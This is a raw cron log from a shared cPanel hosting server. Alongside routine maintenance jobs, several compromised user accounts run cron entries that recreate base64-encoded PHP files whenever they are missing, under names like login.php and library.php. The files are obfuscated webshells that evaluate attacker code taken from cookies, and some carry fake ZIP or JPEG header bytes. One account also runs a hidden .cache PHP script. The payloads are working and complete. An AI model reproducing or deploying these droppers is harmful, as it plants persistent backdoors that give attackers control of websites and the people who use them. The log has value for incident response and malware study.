Mar  1 14:03:02 medusa CROND[14705]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  1 14:03:02 medusa CROND[14706]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 14:03:02 medusa CROND[14707]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 14:03:02 medusa CROND[14708]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 14:03:02 medusa CROND[14711]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  1 14:03:02 medusa CROND[14704]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  1 14:04:01 medusa CROND[6576]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  1 14:04:01 medusa CROND[6691]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  1 14:04:01 medusa CROND[6692]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  1 14:04:01 medusa CROND[6693]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 14:04:01 medusa CROND[6695]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 14:04:01 medusa CROND[6696]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  1 14:04:01 medusa CROND[6699]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 14:04:01 medusa CROND[6697]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  1 14:04:01 medusa CROND[6700]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 14:04:01 medusa CROND[6705]: (revistaenergiaco) CMD (/user/bin/curl -s 'https://news.revistaenergia.com.ar/lists/admin/?page=processqueue&secret=9f656b23bf56b9ba2362)
Mar  1 14:04:01 medusa CROND[6708]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  1 14:04:01 medusa CROND[6698]: (root) CMD (/usr/bin/flock -n /var/run/python_cllib_detector_cronlock /usr/share/python-cllib/detector.py)
Mar  1 14:04:01 medusa CROND[6709]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  1 14:05:01 medusa CROND[31342]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cl-syncpkg.cronlock /usr/bin/cl-syncpkgs)
Mar  1 14:05:01 medusa CROND[31376]: (root) CMD (/usr/local/cpanel/3rdparty/bin/php -d disable_functions="" /usr/local/cpanel/whostmgr/docroot/cgi/softaculous/do_backups.php >> /dev/null 2>&1)
Mar  1 14:05:01 medusa CROND[31380]: (root) CMD (   bash -c "sleep $((RANDOM % 60))" ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Mar  1 14:05:01 medusa CROND[31435]: (root) CMD (/usr/bin/flock -n /var/run/edition_watcher.cronlock /usr/sbin/cloudlinux-edition-watcher check &> /dev/null)
Mar  1 14:05:01 medusa CROND[31486]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  1 14:05:01 medusa CROND[31489]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  1 14:05:01 medusa CROND[31491]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  1 14:05:01 medusa CROND[31493]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 14:05:01 medusa CROND[31494]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Mar  1 14:05:01 medusa CROND[31490]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_lve_manager.cronlock /usr/share/l.v.e-manager/cpanel/hooks/l.v.e-manager_postupcp_hook.sh --cronjob)
Mar  1 14:05:01 medusa CROND[31500]: (root) CMD (/usr/bin/flock -n /var/run/detect_edition_changes.cronlock /usr/share/l.v.e-manager/detect_edition_changes.py > /dev/null 2>&1)
Mar  1 14:05:01 medusa CROND[31502]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Mar  1 14:05:01 medusa CROND[31504]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  1 14:05:01 medusa CROND[31501]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cache_php.cronlock /usr/share/l.v.e-manager/utils/cache_phpdata.py)
Mar  1 14:05:01 medusa CROND[31510]: (firadio) CMD (wget -q -O /dev/null http://firadio.com.ar/fiamigos/ow_cron/run.php > /dev/null)
Mar  1 14:05:01 medusa CROND[31509]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cl-quota.cronlock /usr/bin/cl-quota -YC)
Mar  1 14:05:01 medusa CROND[31511]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  1 14:05:01 medusa CROND[31492]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
